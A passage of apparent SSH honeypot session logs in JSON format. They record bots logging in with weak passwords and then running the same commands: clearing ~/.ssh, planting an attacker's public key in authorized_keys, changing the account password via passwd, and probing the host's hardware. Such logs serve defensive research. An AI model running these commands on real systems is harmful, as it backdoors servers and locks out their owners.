0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:06:28.250925+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:06:28.553901+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:06:28.845198+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:06:29.143831+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:06:29.435226+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:06:29.847710+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:06:30.139643+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:06:31.194898+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:06:31.485141+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:06:33.372455+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Password@123","method":"password","accepted":true,"tier":"other"}]} {"id":"8a180bf0-13c3-42d5-9630-a41f97bfeb2f","name":"watchful-vaulted-capuchin","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":35922,"username":"ymoreno","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":772,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:06:17.365157+00:00","ended_at":"2026-08-27T12:06:18.863737+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2254,"events":[{"seq":1,"at":"2026-08-27T12:05:50.022715+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:05:50.791167+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:05:57.157023+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:05:57.430805+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:05:58.200740+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\n2ZcdvkuayImX\\n2ZcdvkuayImX\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:05:58.981162+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\n2ZcdvkuayImX\\n2ZcdvkuayImX\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:05:59.771167+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:06:00.522865+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:06:01.291925+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:06:02.599799+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:06:03.374910+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:06:04.544666+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:06:05.342108+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:06:05.836172+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:06:06.605103+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:06:07.114560+00:00","kind":"output","latency_ms":null,"data":" 12:06:07 up 7 days, 8:56, 0 user, load average: 0.21, 0.26, 0.21\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:06:07.884775+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:06:08.563661+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:06:09.333739+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:06:10.042863+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:06:10.816029+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:06:11.289773+00:00","kind":"output","latency_ms":null,"data":"top - 12:06:11 up 7 days, 8:56, 0 user, load average: 0.21, 0.26, 0.21\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:06:12.063210+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:06:12.394773+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:06:13.173316+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:06:13.528385+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:06:14.311101+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:06:14.679106+00:00","kind":"output","latency_ms":null,"data":"ymoreno"},{"seq":29,"at":"2026-08-27T12:06:15.455417+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:06:16.596376+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:06:17.366048+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:06:18.618763+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ymoreno","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"8601141e-53d7-4fed-b4c3-ae24d34ccf98","name":"jaunty-knotted-teal","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":49574,"username":"yf","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":329,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:06:01.699560+00:00","ended_at":"2026-08-27T12:06:02.807032+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2219,"events":[{"seq":1,"at":"2026-08-27T12:05:42.836802+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:05:43.169453+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:05:47.671153+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:05:48.533584+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:05:48.866179+00:00","kind":"input","latency_ms":null,"data":"echo -e \"yf\\nI2f9IX3q0zPt\\nI2f9IX3q0zPt\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:05:49.203923+00:00","kind":"input","latency_ms":null,"data":"echo \"yf\\nI2f9IX3q0zPt\\nI2f9IX3q0zPt\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:05:49.517418+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:05:50.391803+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:05:50.719186+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:05:51.988186+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:05:52.321845+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:05:53.141870+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:05:53.469715+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:05:54.136924+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:05:54.464088+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:05:55.236032+00:00","kind":"output","latency_ms":null,"data":" 12:05:55 up 7 days, 8:56, 0 user, load average: 0.16, 0.19, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:05:55.570557+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:05:55.870358+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:05:56.201860+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:05:56.697142+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:05:57.027069+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:05:57.437458+00:00","kind":"output","latency_ms":null,"data":"top - 12:05:57 up 7 days, 8:56, 0 user, load average: 0.16, 0.19, 0.18\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:05:57.771729+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:05:58.203808+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:05:58.533418+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:05:59.143171+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:05:59.472067+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:06:00.155640+00:00","kind":"output","latency_ms":null,"data":"yf"},{"seq":29,"at":"2026-08-27T12:06:00.497319+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:06:01.374508+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:06:01.700455+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:06:02.709163+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"yf","password":"yf","method":"password","accepted":true,"tier":"other"}]} {"id":"f663e97f-d93e-405e-ae8b-edc39f1f03b2","name":"electric-crystal-pochard","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":35516,"username":"filter","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":266,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:05:28.286111+00:00","ended_at":"2026-08-27T12:05:29.969347+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2253,"events":[{"seq":1,"at":"2026-08-27T12:05:02.087152+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:05:02.354016+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:05:05.725647+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:05:07.142481+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:05:07.408501+00:00","kind":"input","latency_ms":null,"data":"echo -e \"filter\\nTRbOl2K84jKU\\nTRbOl2K84jKU\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:05:07.684697+00:00","kind":"input","latency_ms":null,"data":"echo \"filter\\nTRbOl2K84jKU\\nTRbOl2K84jKU\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:05:07.941123+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:05:08.546504+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T12:05:09.404352+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T12:05:09.846482+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T12:05:10.113710+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T12:05:11.195719+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:05:11.462099+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T12:05:12.511345+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T12:05:12.780123+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T12:05:13.967218+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T12:05:14.234830+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T12:05:15.532096+00:00","kind":"output","latency_ms":null,"data":" 12:05:15 up 7 days, 8:55, 0 user, load average: 0.19, 0.22, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T12:05:15.797699+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T12:05:17.228182+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T12:05:17.497513+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T12:05:19.155631+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T12:05:19.426751+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T12:05:21.144603+00:00","kind":"output","latency_ms":null,"data":"top - 12:05:21 up 7 days, 8:55, 0 user, load average: 0.19, 0.22, 0.13\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T12:05:21.411507+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T12:05:23.413152+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T12:05:23.678387+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T12:05:24.982321+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T12:05:25.248435+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T12:05:26.089015+00:00","kind":"output","latency_ms":null,"data":"filter"},{"seq":31,"at":"2026-08-27T12:05:26.355517+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T12:05:28.020611+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T12:05:28.287051+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T12:05:29.892777+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"filter","password":"filter","method":"password","accepted":true,"tier":"other"}]} {"id":"e3864833-b55d-4804-a61d-cbfd17828855","name":"crisp-nimble-gerbil","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59430,"username":"cuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":465,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:04:53.129122+00:00","ended_at":"2026-08-27T12:04:54.471268+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2248,"events":[{"seq":1,"at":"2026-08-27T12:04:30.951598+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:04:31.403651+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:04:35.425194+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:04:35.687053+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:04:36.144781+00:00","kind":"input","latency_ms":null,"data":"echo -e \"cuser\\n9jHyodHgzxFD\\n9jHyodHgzxFD\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:04:36.602613+00:00","kind":"input","latency_ms":null,"data":"echo \"cuser\\n9jHyodHgzxFD\\n9jHyodHgzxFD\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:04:37.069408+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:04:37.589290+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:04:38.044745+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:04:39.003807+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:04:40.114551+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:04:41.407187+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:04:42.431400+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:04:43.098819+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:04:43.563541+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:04:44.039643+00:00","kind":"output","latency_ms":null,"data":" 12:04:44 up 7 days, 8:54, 0 user, load average: 0.3, 0.32, 0.35\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:04:44.502894+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:04:45.320531+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:04:45.787608+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:04:46.259853+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:04:46.724631+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:04:47.014511+00:00","kind":"output","latency_ms":null,"data":"top - 12:04:47 up 7 days, 8:54, 0 user, load average: 0.3, 0.32, 0.35\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:04:47.484624+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:04:47.908118+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:04:48.365500+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:04:49.013056+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:04:49.471516+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:04:50.272609+00:00","kind":"output","latency_ms":null,"data":"cuser"},{"seq":29,"at":"2026-08-27T12:04:50.757946+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:04:52.055324+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:04:53.129755+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:04:54.324246+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"cuser","password":"cuser","method":"password","accepted":true,"tier":"other"}]} {"id":"edbe3741-fa43-44ee-afff-dd246675910e","name":"idle-mossy-gazelle","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":50798,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":300,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:04:22.495934+00:00","ended_at":"2026-08-27T12:04:24.262453+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2282,"events":[{"seq":1,"at":"2026-08-27T12:04:03.725797+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia 